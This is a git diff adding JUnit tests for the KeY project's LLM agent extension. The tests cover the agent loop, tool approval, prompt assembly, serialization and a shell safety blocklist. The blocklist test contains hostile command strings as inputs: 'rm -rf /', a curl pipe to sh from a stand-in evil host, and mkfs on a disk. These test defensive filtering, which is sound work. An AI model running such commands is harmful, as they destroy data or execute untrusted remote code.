+        var loop = new AgentLoop(session, mock);
+        AgentResult result = loop.begin("hello", null, null, null);
+
+        assertInstanceOf(AgentResult.Done.class, result);
+        var done = (AgentResult.Done) result;
+        assertTrue(done.content().contains("tool rounds"),
+            "expected a tool-limit note, got: " + done.content());
+        // two rounds were executed and both tool results went into the context
+        long assistantToolMessages = session.getContext().getMessages().stream()
+                .filter(m -> "assistant".equals(m.role()) && m.toolCalls() != null).count();
+        long toolMessages =
+            session.getContext().getMessages().stream().filter(m -> "tool".equals(m.role()))
+                    .count();
+        assertEquals(2, assistantToolMessages);
+        assertEquals(2, toolMessages);
+    }
+
+    @Test
+    void followUpRequestsDoNotDuplicateTheUserPrompt() {
+        var mock = new MockCompletions();
+        mock.thenRespond(MockCompletions.toolCalls(
+            List.of(MockCompletions.tool("c1", TestMcpToolProvider.ECHO, "{\"x\":1}")), ""));
+        mock.thenRespond(MockCompletions.text("final answer"));
+        mock.thenRespond(MockCompletions.text("unused"));
+
+        var loop = new AgentLoop(session, mock);
+        AgentResult result = loop.begin("my prompt", null, null, null);
+
+        assertInstanceOf(AgentResult.Done.class, result);
+        assertEquals("final answer", ((AgentResult.Done) result).content());
+        assertEquals(2, mock.sent.size(), "expected exactly one follow-up request");
+
+        var first = mock.sent.get(0).messages();
+        var second = mock.sent.get(1).messages();
+        // the user prompt appears exactly once in both requests
+        long firstUsers = first.stream().filter(m -> "user".equals(m.get("role"))).count();
+        long secondUsers = second.stream().filter(m -> "user".equals(m.get("role"))).count();
+        assertEquals(1, firstUsers);
+        assertEquals(1, secondUsers);
+
+        // the follow-up strictly extends the previous request
+        assertEquals(first, second.subList(0, first.size()));
+        Map<String, Object> toolResult = second.get(second.size() - 1);
+        assertEquals("tool", toolResult.get("role"));
+        assertEquals("c1", toolResult.get("tool_call_id"));
+    }
+
+    @Test
+    void askUserPausesAndAnswerResumes() {
+        var mock = new MockCompletions();
+        mock.thenRespond(MockCompletions.toolCalls(
+            List.of(MockCompletions.tool("q1", KeYAgentTools.TOOL_ASK_USER,
+                "{\"question\":\"split?\",\"options\":[\"yes\",\"no\"]}")),
+            ""));
+        mock.thenRespond(MockCompletions.text("proceeding with yes"));
+
+        var loop = new AgentLoop(session, mock);
+        AgentResult first = loop.begin("tell me", null, null, null);
+
+        assertInstanceOf(AgentResult.NeedsInput.class, first);
+        var question = ((AgentResult.NeedsInput) first).question();
+        assertEquals("split?", question.text());
+        assertEquals(List.of("yes", "no"), question.options());
+
+        AgentResult resumed = loop.answerQuestion("yes");
+        assertInstanceOf(AgentResult.Done.class, resumed);
+        assertEquals("proceeding with yes", ((AgentResult.Done) resumed).content());
+
+        // the resumed request carries the tool result with the matching tool_call_id
+        var lastMessages = mock.sent.get(1).messages();
+        var toolMsg = (Map<String, Object>) lastMessages.get(lastMessages.size() - 1);
+        assertEquals("tool", toolMsg.get("role"));
+        assertEquals("q1", toolMsg.get("tool_call_id"));
+        assertTrue(String.valueOf(toolMsg.get("content")).contains("yes"));
+    }
+
+    @Test
+    void approvalPausesAndApprovedToolRuns() {
+        var mock = new MockCompletions();
+        mock.thenRespond(MockCompletions.toolCalls(
+            List.of(MockCompletions.tool("a1", TestMcpToolProvider.NEEDS_APPROVAL, "{}")), ""));
+        mock.thenRespond(MockCompletions.text("done"));
+
+        var loop = new AgentLoop(session, mock);
+        AgentResult first = loop.begin("run it", null, null, null);
+
+        assertInstanceOf(AgentResult.NeedsApproval.class, first);
+        var call = ((AgentResult.NeedsApproval) first).toolCall();
+        assertEquals(TestMcpToolProvider.NEEDS_APPROVAL, call.name());
+        assertTrue(TestMcpToolProvider.EXECUTED.isEmpty(), "tool must not run before approval");
+
+        AgentResult resumed = loop.decideApproval(true, false);
+        assertInstanceOf(AgentResult.Done.class, resumed);
+        assertEquals(1, TestMcpToolProvider.EXECUTED.size());
+        assertTrue(
+            TestMcpToolProvider.EXECUTED.get(0).startsWith(TestMcpToolProvider.NEEDS_APPROVAL));
+    }
+
+    @Test
+    void deniedToolIsReportedToTheModel() {
+        var mock = new MockCompletions();
+        mock.thenRespond(MockCompletions.toolCalls(
+            List.of(MockCompletions.tool("a1", TestMcpToolProvider.NEEDS_APPROVAL, "{}")), ""));
+        mock.thenRespond(MockCompletions.text("understood"));
+
+        var loop = new AgentLoop(session, mock);
+        loop.begin("run it", null, null, null);
+        AgentResult resumed = loop.decideApproval(false, false);
+
+        assertInstanceOf(AgentResult.Done.class, resumed);
+        assertTrue(TestMcpToolProvider.EXECUTED.isEmpty(), "denied tool must not run");
+        var lastMessages = mock.sent.get(1).messages();
+        var toolMsg = (Map<String, Object>) lastMessages.get(lastMessages.size() - 1);
+        assertTrue(String.valueOf(toolMsg.get("content")).contains("denied"));
+    }
+
+    @Test
+    void useSkillIsGatedByTheSettingsFlag() {
+        var mock = new MockCompletions();
+        mock.thenRespond(MockCompletions.toolCalls(
+            List.of(MockCompletions.tool("s1", KeYAgentTools.TOOL_USE_SKILL,
+                "{\"name\":\"optics\"}")),
+            ""));
+        mock.thenRespond(MockCompletions.text("ok"));
+
+        var loop = new AgentLoop(session, mock);
+        AgentResult result = loop.begin("go", null, null, null);
+
+        assertInstanceOf(AgentResult.Done.class, result);
+        assertNull(session.getActiveSkill(), "skill must not be activated while the flag is off");
+        var lastMessages = mock.sent.get(1).messages();
+        var toolMsg = (Map<String, Object>) lastMessages.get(lastMessages.size() - 1);
+        assertEquals("s1", toolMsg.get("tool_call_id"));
+        assertTrue(String.valueOf(toolMsg.get("content")).contains("disabled"));
+    }
+
+    @Test
+    void useSkillRejectsUnknownSkill() {
+        LlmSettings.INSTANCE.setAgentCanUseSkills(true);
+        var mock = new MockCompletions();
+        mock.thenRespond(MockCompletions.toolCalls(
+            List.of(MockCompletions.tool("s1", KeYAgentTools.TOOL_USE_SKILL,
+                "{\"name\":\"no-such-skill\"}")),
+            ""));
+        mock.thenRespond(MockCompletions.text("fine"));
+
+        var loop = new AgentLoop(session, mock);
+        AgentResult result = loop.begin("go", null, null, null);
+
+        assertInstanceOf(AgentResult.Done.class, result);
+        assertNull(session.getActiveSkill());
+        var lastMessages = mock.sent.get(1).messages();
+        var toolMsg = (Map<String, Object>) lastMessages.get(lastMessages.size() - 1);
+        assertTrue(String.valueOf(toolMsg.get("content")).contains("Unknown skill"));
+    }
+
+    /** Scripted {@link ChatCompletionsClient}. */
+    static class MockCompletions implements ChatCompletionsClient {
+        private final ArrayDeque<Map<String, Object>> script = new ArrayDeque<>();
+        final List<AgentRequest> sent = new CopyOnWriteArrayList<>();
+
+        void thenRespond(Map<String, Object> response) {
+            script.add(response);
+        }
+
+        @Override
+        public Map<String, Object> complete(LlmSession session, AgentRequest request) {
+            sent.add(request);
+            if (script.isEmpty()) {
+                throw new IllegalStateException("no scripted response left");
+            }
+            return script.removeFirst();
+        }
+
+        static Map<String, Object> text(String content) {
+            return Map.of("choices", List.of(Map.of("message",
+                Map.of("role", "assistant", "content", content))));
+        }
+
+        static Map<String, Object> toolCalls(List<Map<String, Object>> calls, String content) {
+            return Map.of("choices", List.of(Map.of("message",
+                Map.of("role", "assistant", "content", content, "tool_calls", calls))));
+        }
+
+        static Map<String, Object> tool(String id, String name, String arguments) {
+            return Map.of("id", id, "type", "function",
+                "function", Map.of("name", name, "arguments", arguments));
+        }
+    }
+}
diff --git a/keyext.llm/src/test/java/org/key_project/key/llm/BuiltInMCPClientTest.java b/keyext.llm/src/test/java/org/key_project/key/llm/BuiltInMCPClientTest.java
new file mode 100644
index 00000000000..6c4d471137d
--- /dev/null
+++ b/keyext.llm/src/test/java/org/key_project/key/llm/BuiltInMCPClientTest.java
@@ -0,0 +1,116 @@
+/* This file is part of KeY - https://key-project.org
+ * KeY is licensed under the GNU General Public License Version 2
+ * SPDX-License-Identifier: GPL-2.0-only */
+package org.key_project.key.llm;
+
+import java.util.Set;
+import java.util.TreeSet;
+
+import org.key_project.key.llm.mcp.BuiltInMCPClient;
+import org.key_project.key.llm.mcp.KeYAgentTools;
+import org.key_project.key.llm.mcp.McpToolNowAllowedException;
+
+import org.junit.jupiter.api.BeforeEach;
+import org.junit.jupiter.api.Test;
+
+import static org.junit.jupiter.api.Assertions.assertFalse;
+import static org.junit.jupiter.api.Assertions.assertThrows;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+/**
+ * Tests the built-in tool registry: disabled filtering and the live approval decisions, including
+ * the regression that {@code getTools()} must never mutate the approval settings.
+ */
+class BuiltInMCPClientTest {
+
+    private BuiltInMCPClient client;
+
+    @BeforeEach
+    void setUp() {
+        LlmSettings.INSTANCE.setToolsDisabled(new TreeSet<>());
+        LlmSettings.INSTANCE.setAllowedToolsWithApproval(new TreeSet<>());
+        LlmSettings.INSTANCE.setAllowedToolsWithoutApproval(new TreeSet<>());
+        client = new BuiltInMCPClient();
+    }
+
+    private static Set<String> toolNames(BuiltInMCPClient c) {
+        var names = new TreeSet<String>();
+        c.getTools().forEach(t -> names.add(t.function().name()));
+        return names;
+    }
+
+    @Test
+    void advertisesBuiltInAndTestTools() {
+        var names = toolNames(client);
+        assertTrue(names.contains(KeYAgentTools.TOOL_READ_FILE));
+        assertTrue(names.contains(KeYAgentTools.TOOL_RUN_COMMAND));
+        assertTrue(names.contains(KeYAgentTools.TOOL_ASK_USER));
+        assertTrue(names.contains(KeYAgentTools.TOOL_GET_PROOF_CONTEXT));
+        assertTrue(names.contains(TestMcpToolProvider.ECHO));
+        assertTrue(names.contains(TestMcpToolProvider.NEEDS_APPROVAL));
+    }
+
+    @Test
+    void getToolsDoesNotMutateApprovalSets() {
+        LlmSettings.INSTANCE.setAllowedToolsWithApproval(new TreeSet<>(Set.of("x")));
+        LlmSettings.INSTANCE.setAllowedToolsWithoutApproval(new TreeSet<>(Set.of("y")));
+        var before = client.getAllToolNames();
+        var first = toolNames(client);
+        var second = toolNames(client);
+        // getTools() must be side-effect free
+        assertTrue(first.equals(second), "getTools() produced different results on repeat calls");
+        assertTrue(client.getAllToolNames().equals(before));
+        assertTrue(LlmSettings.INSTANCE.getAllowedToolsWithApproval().equals(Set.of("x")));
+        assertTrue(LlmSettings.INSTANCE.getAllowedToolsWithoutApproval().equals(Set.of("y")));
+    }
+
+    @Test
+    void disabledToolsAreFilteredOut() {
+        LlmSettings.INSTANCE.setToolsDisabled(new TreeSet<>(Set.of(TestMcpToolProvider.ECHO)));
+        var names = toolNames(client);
+        assertFalse(names.contains(TestMcpToolProvider.ECHO));
+        assertTrue(names.contains(KeYAgentTools.TOOL_READ_FILE));
+        assertTrue(client.isDisabled(TestMcpToolProvider.ECHO));
+    }
+
+    @Test
+    void disabledToolCannotBeInvoked() {
+        LlmSettings.INSTANCE.setToolsDisabled(new TreeSet<>(Set.of(TestMcpToolProvider.ECHO)));
+        assertThrows(McpToolNowAllowedException.class,
+            () -> client.callTool(TestMcpToolProvider.ECHO, "{}"));
+    }
+
+    @Test
+    void defaultApprovalRequirements() {
+        // read-only built-ins are AUTO
+        assertFalse(client.requiresApproval(KeYAgentTools.TOOL_READ_FILE));
+        assertFalse(client.requiresApproval(KeYAgentTools.TOOL_LIST_FILES));
+        assertFalse(client.requiresApproval(KeYAgentTools.TOOL_GET_PROOF_CONTEXT));
+        assertFalse(client.requiresApproval(KeYAgentTools.TOOL_ASK_USER));
+        assertFalse(client.requiresApproval(TestMcpToolProvider.ECHO));
+        // shell execution and aimless test tools are ASK by default
+        assertTrue(client.requiresApproval(KeYAgentTools.TOOL_RUN_COMMAND));
+        assertTrue(client.requiresApproval(TestMcpToolProvider.NEEDS_APPROVAL));
+    }
+
+    @Test
+    void userConfiguredOverridesBeatDefaults() {
+        // allowedToolsWithoutApproval overrides an ASK tool
+        var without = new TreeSet<>(LlmSettings.INSTANCE.getAllowedToolsWithoutApproval());
+        without.add(KeYAgentTools.TOOL_RUN_COMMAND);
+        LlmSettings.INSTANCE.setAllowedToolsWithoutApproval(without);
+        assertFalse(client.requiresApproval(KeYAgentTools.TOOL_RUN_COMMAND));
+
+        // allowedToolsWithApproval overrides an AUTO tool
+        var with = new TreeSet<>(LlmSettings.INSTANCE.getAllowedToolsWithApproval());
+        with.add(KeYAgentTools.TOOL_READ_FILE);
+        LlmSettings.INSTANCE.setAllowedToolsWithApproval(with);
+        assertTrue(client.requiresApproval(KeYAgentTools.TOOL_READ_FILE));
+    }
+
+    @Test
+    void unknownToolsRequireApproval() {
+        // conservative default: refuse to run tools we do not even know
+        assertTrue(client.requiresApproval("no_such_tool"));
+    }
+}
diff --git a/keyext.llm/src/test/java/org/key_project/key/llm/ExtendedPromptTest.java b/keyext.llm/src/test/java/org/key_project/key/llm/ExtendedPromptTest.java
new file mode 100644
index 00000000000..f4f2bce6fcb
--- /dev/null
+++ b/keyext.llm/src/test/java/org/key_project/key/llm/ExtendedPromptTest.java
@@ -0,0 +1,127 @@
+/* This file is part of KeY - https://key-project.org
+ * KeY is licensed under the GNU General Public License Version 2
+ * SPDX-License-Identifier: GPL-2.0-only */
+package org.key_project.key.llm;
+
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+import java.util.TreeSet;
+
+import org.key_project.key.llm.LlmContext.LlmMessage;
+import org.key_project.key.llm.mcp.KeYAgentTools;
+
+import org.junit.jupiter.api.BeforeEach;
+import org.junit.jupiter.api.Test;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+/**
+ * Tests the request assembly in {@link ExtendedPrompt}: message order, tool advertisement and the
+ * history budget.
+ */
+class ExtendedPromptTest {
+
+    private LlmSession session;
+
+    @BeforeEach
+    void setUp() {
+        session = new LlmSession("https://example.invalid", "token", "model");
+        LlmSettings.INSTANCE.setMaxHistoryMessages(30);
+        LlmSettings.INSTANCE.setMaxHistoryChars(32000);
+        LlmSettings.INSTANCE.setMaxToolRounds(8);
+        LlmSettings.INSTANCE.setToolsDisabled(new TreeSet<>());
+        LlmSettings.INSTANCE.setAllowedToolsWithApproval(new TreeSet<>());
+        LlmSettings.INSTANCE.setAllowedToolsWithoutApproval(new TreeSet<>());
+        LlmSettings.INSTANCE.setSendTemperature(false);
+        LlmSettings.INSTANCE.setSendMaxOutputTokens(false);
+        session.setAttachProofContext(false);
+    }
+
+    private static List<String> roles(List<Map<String, Object>> messages) {
+        return messages.stream().map(m -> String.valueOf(m.get("role"))).toList();
+    }
+
+    @Test
+    void minimalRequestHasSystemAndUser() {
+        var request = ExtendedPrompt.build(session, null, null, "hello there", null);
+        assertEquals(2, request.messages().size());
+        assertEquals(List.of("system", "user"), roles(request.messages()));
+        assertEquals("hello there", request.messages().get(1).get("content"));
+        assertEquals("model", request.model());
+    }
+
+    @Test
+    void advertisesTheBuiltInToolSet() {
+        var request = ExtendedPrompt.build(session, null, null, "hi", null);
+        var toolNames = request.tools().stream()
+                .map(t -> (Map<?, ?>) t.get("function")).map(f -> f.get("name"))
+                .map(String::valueOf).toList();
+        assertTrue(toolNames.contains(KeYAgentTools.TOOL_GET_PROOF_CONTEXT));
+        assertTrue(toolNames.contains(KeYAgentTools.TOOL_LIST_FILES));
+        assertTrue(toolNames.contains(KeYAgentTools.TOOL_READ_FILE));
+        assertTrue(toolNames.contains(KeYAgentTools.TOOL_FILE_INFO));
+        assertTrue(toolNames.contains(KeYAgentTools.TOOL_RUN_COMMAND));
+        assertTrue(toolNames.contains(KeYAgentTools.TOOL_ASK_USER));
+        assertTrue(toolNames.contains(TestMcpToolProvider.ECHO));
+    }
+
+    @Test
+    void disabledToolsAreNotAdvertised() {
+        LlmSettings.INSTANCE
+                .setToolsDisabled(new TreeSet<>(Set.of(KeYAgentTools.TOOL_RUN_COMMAND)));
+        var request = ExtendedPrompt.build(session, null, null, "hi", null);
+        assertTrue(
+            request.tools().stream().map(t -> (String) ((Map<?, ?>) t.get("function")).get("name"))
+                    .noneMatch(KeYAgentTools.TOOL_RUN_COMMAND::equals));
+        // approval of the disabled tool is not revoked by accident
+        assertTrue(LlmSettings.INSTANCE.getAllowedToolsWithApproval().isEmpty());
+    }
+
+    @Test
+    void proofContextToggleAddsContextBlock() {
+        session.setAttachProofContext(true);
+        var request = ExtendedPrompt.build(session, null, null, "hi", null);
+        assertEquals(List.of("system", "system", "user"), roles(request.messages()));
+        String sys = String.valueOf(request.messages().get(1).get("content"));
+        assertTrue(sys.contains("no proof loaded"), sys);
+
+        session.setAttachProofContext(false);
+        var off = ExtendedPrompt.build(session, null, null, "hi", null);
+        assertEquals(2, off.messages().size());
+    }
+
+    @Test
+    void historyIsCappedByMessageCount() {
+        LlmSettings.INSTANCE.setMaxHistoryMessages(5);
+        for (int i = 0; i < 12; i++) {
+            session.getContext().addMessage(
+                i % 2 == 0 ? LlmMessage.user("message " + i)
+                        : LlmMessage.assistant("message " + i));
+        }
+        var request = ExtendedPrompt.build(session, null, null, "next", null);
+        var msgs = request.messages();
+        assertEquals("system", msgs.get(0).get("role"));
+        assertEquals("user", msgs.get(msgs.size() - 1).get("role"));
+        assertEquals("next", msgs.get(msgs.size() - 1).get("content"));
+        int historyCount = msgs.size() - 2;
+        assertTrue(historyCount <= 5, "expected at most 5 history messages, got " + historyCount);
+        // the newest history messages are kept
+        String lastHistory = String.valueOf(msgs.get(msgs.size() - 2).get("content"));
+        assertTrue(lastHistory.contains("11"), lastHistory);
+    }
+
+    @Test
+    void historyIsCappedByCharacterBudget() {
+        LlmSettings.INSTANCE.setMaxHistoryChars(10);
+        for (int i = 0; i < 6; i++) {
+            session.getContext().addMessage(LlmMessage.user("aaaaaaaaaa"));
+            session.getContext().addMessage(LlmMessage.assistant("bbbbbbbbbb"));
+        }
+        var request = ExtendedPrompt.build(session, null, null, "next", null);
+        var msgs = request.messages();
+        int historyCount = msgs.size() - 2;
+        assertTrue(historyCount <= 2, "expected at most 2 history messages (10 chars budget)");
+    }
+}
diff --git a/keyext.llm/src/test/java/org/key_project/key/llm/LlmContextTest.java b/keyext.llm/src/test/java/org/key_project/key/llm/LlmContextTest.java
new file mode 100644
index 00000000000..374eb04d6c9
--- /dev/null
+++ b/keyext.llm/src/test/java/org/key_project/key/llm/LlmContextTest.java
@@ -0,0 +1,66 @@
+/* This file is part of KeY - https://key-project.org
+ * KeY is licensed under the GNU General Public License Version 2
+ * SPDX-License-Identifier: GPL-2.0-only */
+package org.key_project.key.llm;
+
+import java.util.List;
+import java.util.Map;
+
+import org.key_project.key.llm.LlmContext.LlmMessage;
+
+import org.junit.jupiter.api.Test;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertFalse;
+import static org.junit.jupiter.api.Assertions.assertNull;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+/**
+ * Tests the OpenAI wire serialization of {@link LlmMessage}.
+ */
+class LlmContextTest {
+
+    @Test
+    void plainUserMessageHasMinimalFields() {
+        var map = LlmMessage.user("hello").toOpenAiMap();
+        assertEquals("user", map.get("role"));
+        assertEquals("hello", map.get("content"));
+        assertFalse(map.containsKey("tool_call_id"));
+        assertFalse(map.containsKey("tool_calls"));
+    }
+
+    @Test
+    void toolResultCarriesToolCallId() {
+        var map = LlmMessage.tool("call_42", "result text").toOpenAiMap();
+        assertEquals("tool", map.get("role"));
+        assertEquals("call_42", map.get("tool_call_id"));
+        assertEquals("result text", map.get("content"));
+    }
+
+    @Test
+    void assistantToolCallsAreSerialized() {
+        var calls = List.<Map<String, Object>>of(Map.of("id", "c1", "type", "function"));
+        var map = LlmMessage.assistant("", calls).toOpenAiMap();
+        assertEquals("assistant", map.get("role"));
+        assertEquals(calls, map.get("tool_calls"));
+        assertFalse(map.containsKey("tool_call_id"));
+    }
+
+    @Test
+    void nullContentBecomesEmptyString() {
+        var map = new LlmMessage("user", null).toOpenAiMap();
+        assertEquals("", map.get("content"));
+    }
+
+    @Test
+    void contextAppendsAndClears() {
+        var ctx = new LlmContext();
+        assertTrue(ctx.isEmpty());
+        ctx.addMessage(LlmMessage.user("a"));
+        ctx.addMessage(LlmMessage.assistant("b"));
+        assertEquals(2, ctx.getMessages().size());
+        assertNull(ctx.getMessages().get(0).toolCallId());
+        ctx.clear();
+        assertTrue(ctx.isEmpty());
+    }
+}
diff --git a/keyext.llm/src/test/java/org/key_project/key/llm/PromptResolverTest.java b/keyext.llm/src/test/java/org/key_project/key/llm/PromptResolverTest.java
new file mode 100644
index 00000000000..ef734deae27
--- /dev/null
+++ b/keyext.llm/src/test/java/org/key_project/key/llm/PromptResolverTest.java
@@ -0,0 +1,106 @@
+/* This file is part of KeY - https://key-project.org
+ * KeY is licensed under the GNU General Public License Version 2
+ * SPDX-License-Identifier: GPL-2.0-only */
+package org.key_project.key.llm;
+
+import org.key_project.key.llm.PromptResolver.Context;
+import org.key_project.key.llm.PromptResolver.Result;
+
+import org.junit.jupiter.api.BeforeEach;
+import org.junit.jupiter.api.Test;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertFalse;
+import static org.junit.jupiter.api.Assertions.assertNull;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+/**
+ * Tests the {@code $token}/{\@file}//directive} resolution in {@link PromptResolver}.
+ * <p>
+ * These tests avoid touching the user's home directory: with no proof loaded all proof-dependent
+ * tokens and file references resolve to explicit placeholders, and the prompt/skill libraries fall
+ * back to empty when the config directory does not exist.
+ */
+class PromptResolverTest {
+
+    private LlmSession session;
+
+    @BeforeEach
+    void setUp() {
+        session = new LlmSession("https://example.invalid", "token", "model");
+    }
+
+    /** No proof, no node: nothing that requires proof state. */
+    private static Context noProof() {
+        return new Context() {
+            @Override
+            public de.uka.ilkd.key.proof.Proof proof() {
+                return null;
+            }
+
+            @Override
+            public de.uka.ilkd.key.proof.Node node() {
+                return null;
+            }
+        };
+    }
+
+    @Test
+    void unknownTokenBecomesPlaceholder() {
+        Result r = PromptResolver.resolve("summarize $seq", session, noProof());
+        assertTrue(r.text().contains("[unknown token $seq]"), r.text());
+        assertNull(r.skillName());
+        assertTrue(r.warnings().isEmpty());
+    }
+
+    @Test
+    void selectedFilesWithoutFiles() {
+        Result r = PromptResolver.resolve("use $selectedFiles", session, noProof());
+        assertEquals("use (no files selected)", r.text());
+    }
+
+    @Test
+    void selectedFilesListsUris() throws Exception {
+        session.setSelectedFiles(java.util.Set.of(new java.net.URI("file:///tmp/a.java"),
+            new java.net.URI("file:///tmp/b.java")));
+        Result r = PromptResolver.resolve("read $selectedFiles", session, noProof());
+        assertTrue(r.text().contains("file:///tmp/a.java"), r.text());
+        assertTrue(r.text().contains("file:///tmp/b.java"), r.text());
+    }
+
+    @Test
+    void fileReferenceWithoutProof() {
+        Result r = PromptResolver.resolve("see @src/Main.java", session, noProof());
+        assertTrue(r.text().contains("(no proof loaded)"), r.text());
+    }
+
+    @Test
+    void unknownSkillAddsWarningAndKeepsText() {
+        Result r = PromptResolver.resolve("please /skill:nope do this", session, noProof());
+        assertEquals("please /skill:nope do this", r.text());
+        assertNull(r.skillName());
+        assertEquals(1, r.warnings().size());
+        assertTrue(r.warnings().get(0).contains("nope"));
+    }
+
+    @Test
+    void unknownPromptBecomesPlaceholderWithWarning() {
+        Result r = PromptResolver.resolve("start with /prompt:nope", session, noProof());
+        assertTrue(r.text().contains("[unknown prompt: nope]"), r.text());
+        assertTrue(r.warnings().stream().anyMatch(w -> w.contains("nope")));
+    }
+
+    @Test
+    void skillsListingWorksWithoutConfigDirectory() {
+        Result r = PromptResolver.resolve("list /skills please", session, noProof());
+        assertTrue(r.text().contains("(none defined)") || r.text().contains("- "),
+            "unexpected listing: " + r.text());
+    }
+
+    @Test
+    void provableTokensArePlaceholdersWithoutProof() {
+        // $computePath works without a proof (falls back to "no selected node")
+        Result r = PromptResolver.resolve("path: $computePath", session, noProof());
+        assertFalse(r.text().contains("$computePath"), r.text());
+    }
+}
diff --git a/keyext.llm/src/test/java/org/key_project/key/llm/SchemaSerializationTest.java b/keyext.llm/src/test/java/org/key_project/key/llm/SchemaSerializationTest.java
new file mode 100644
index 00000000000..4be799d68a6
--- /dev/null
+++ b/keyext.llm/src/test/java/org/key_project/key/llm/SchemaSerializationTest.java
@@ -0,0 +1,84 @@
+/* This file is part of KeY - https://key-project.org
+ * KeY is licensed under the GNU General Public License Version 2
+ * SPDX-License-Identifier: GPL-2.0-only */
+package org.key_project.key.llm;
+
+import java.util.List;
+import java.util.Map;
+
+import org.key_project.key.llm.mcp.FunctionDefinition;
+import org.key_project.key.llm.mcp.JsonSchema;
+import org.key_project.key.llm.mcp.Tool;
+
+import com.google.gson.GsonBuilder;
+import org.junit.jupiter.api.Test;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertFalse;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+/**
+ * The tool schemas are serialized with Gson on the wire; every structural class therefore needs a
+ * Gson-safe {@code toMap()} (records serialized directly would emit Jackson-style key names such as
+ * {@code schemaType}). These tests lock the exact OpenAI key names in.
+ */
+class SchemaSerializationTest {
+
+    @Test
+    void jsonSchemaTypeIsSerializedAsType() {
+        var map = new JsonSchema("object").toMap();
+        assertEquals("object", map.get("type"));
+    }
+
+    @Test
+    void jsonSchemaBuilderEmitsOpenAiKeys() {
+        var schema = JsonSchema.builder()
+                .withType("object")
+                .addProperty("path", JsonSchema.builder().withType("string").build())
+                .addProperty("verbose", JsonSchema.builder().withType("boolean").build())
+                .addRequired("path")
+                .withDescription("read a file")
+                .build();
+        var map = schema.toMap();
+        assertEquals("object", map.get("type"));
+        assertEquals(List.of("path"), map.get("required"));
+        assertEquals("read a file", map.get("description"));
+        var props = (Map<?, ?>) map.get("properties");
+        assertEquals("string", ((Map<?, ?>) props.get("path")).get("type"));
+        assertEquals("boolean", ((Map<?, ?>) props.get("verbose")).get("type"));
+    }
+
+    @Test
+    void functionDefinitionEmitsNameDescriptionParameters() {
+        var fn = new FunctionDefinition("list_files", "lists files",
+            new JsonSchema("object"));
+        var map = fn.toMap();
+        assertEquals("list_files", map.get("name"));
+        assertEquals("lists files", map.get("description"));
+        assertTrue(map.containsKey("parameters"));
+    }
+
+    @Test
+    void toolMapDoesNotLeakApprovalMetadata() {
+        var tool = new Tool(new FunctionDefinition("run_command", "runs a command",
+            new JsonSchema("object")), Tool.ApprovalRequirement.ASK);
+        var map = tool.toMap();
+        assertEquals("function", map.get("type"));
+        assertTrue(map.containsKey("function"));
+        assertFalse(map.containsKey("defaultApproval"));
+        assertFalse(map.containsKey("approvalRequirement"));
+    }
+
+    @Test
+    void toolMapIsGsonSerializable() {
+        var fn = new FunctionDefinition("get_proof_context", "proof state", JsonSchema.builder()
+                .withType("object")
+                .addProperty("include_compute_path",
+                    JsonSchema.builder().withType("boolean").build())
+                .build());
+        var json = new GsonBuilder().create().toJson(new Tool(fn).toMap());
+        assertTrue(json.contains("\"type\":\"function\""), json);
+        assertTrue(json.contains("\"include_compute_path\""), json);
+        assertFalse(json.contains("schemaType"), "Jackson-style keys must not leak: " + json);
+    }
+}
diff --git a/keyext.llm/src/test/java/org/key_project/key/llm/ShellSafetyPolicyTest.java b/keyext.llm/src/test/java/org/key_project/key/llm/ShellSafetyPolicyTest.java
new file mode 100644
index 00000000000..d9160bb25dc
--- /dev/null
+++ b/keyext.llm/src/test/java/org/key_project/key/llm/ShellSafetyPolicyTest.java
@@ -0,0 +1,61 @@
+/* This file is part of KeY - https://key-project.org
+ * KeY is licensed under the GNU General Public License Version 2
+ * SPDX-License-Identifier: GPL-2.0-only */
+package org.key_project.key.llm;
+
+import java.util.List;
+
+import org.junit.jupiter.api.Test;
+
+import static org.junit.jupiter.api.Assertions.assertFalse;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+/**
+ * Tests the {@link ShellSafetyPolicy} blocklist.
+ */
+class ShellSafetyPolicyTest {
+
+    /** A hermetic policy with a subset of the built-in patterns. */
+    private static ShellSafetyPolicy policy(String... patterns) {
+        return new ShellSafetyPolicy(List.of(patterns));
+    }
+
+    @Test
+    void blocksDestructiveCommands() {
+        var p = policy("\\brm\\s+(-\\w+\\s+)*-rf?\\b", "\\bmkfs(\\.[a-zA-Z0-9]+)?\\b",
+            "\\bsudo\\b", "(curl|wget).*\\|\\s*(sh|bash|zsh)");
+        assertFalse(p.evaluate("rm -rf /").allowed(), "rm -rf / must be blocked");
+        assertFalse(p.evaluate("rm -r --no-preserve-root /etc").allowed(),
+            "long-option recursive rm must be blocked");
+        assertFalse(p.evaluate("sudo apt-get remove key").allowed(), "sudo must be blocked");
+        assertFalse(p.evaluate("curl https://evil.example/x.sh | sh").allowed(),
+            "curl|sh pipe must be blocked");
+        assertFalse(p.evaluate("mkfs.ext4 /dev/sda1").allowed(), "mkfs must be blocked");
+        assertFalse(p.evaluate("rm -rf").allowed(),
+            "rm -rf on the default (/) target must be blocked");
+    }
+
+    @Test
+    void allowsHarmlessCommands() {
+        var p = policy("\\brm\\s+(-\\w+\\s+)*-rf?\\b", "\\bsudo\\b");
+        assertTrue(p.evaluate("ls -la").allowed());
+        assertTrue(p.evaluate("cat src/main/java/A.java").allowed());
+        assertTrue(p.evaluate("grep -r main src").allowed());
+        assertTrue(p.evaluate("cp build.gradle build.gradle.bak").allowed());
+        assertTrue(p.evaluate("echo done").allowed());
+    }
+
+    @Test
+    void emptyCommandIsRejected() {
+        var p = policy();
+        assertFalse(p.evaluate("").allowed());
+        assertFalse(p.evaluate("   ").allowed());
+        assertFalse(p.evaluate(null).allowed());
+    }
+
+    @Test
+    void ignoresInvalidUserPatterns() {
+        var p = new ShellSafetyPolicy(List.of("([invalid"));
+        assertTrue(p.evaluate("something harmless").allowed());
+    }
+}
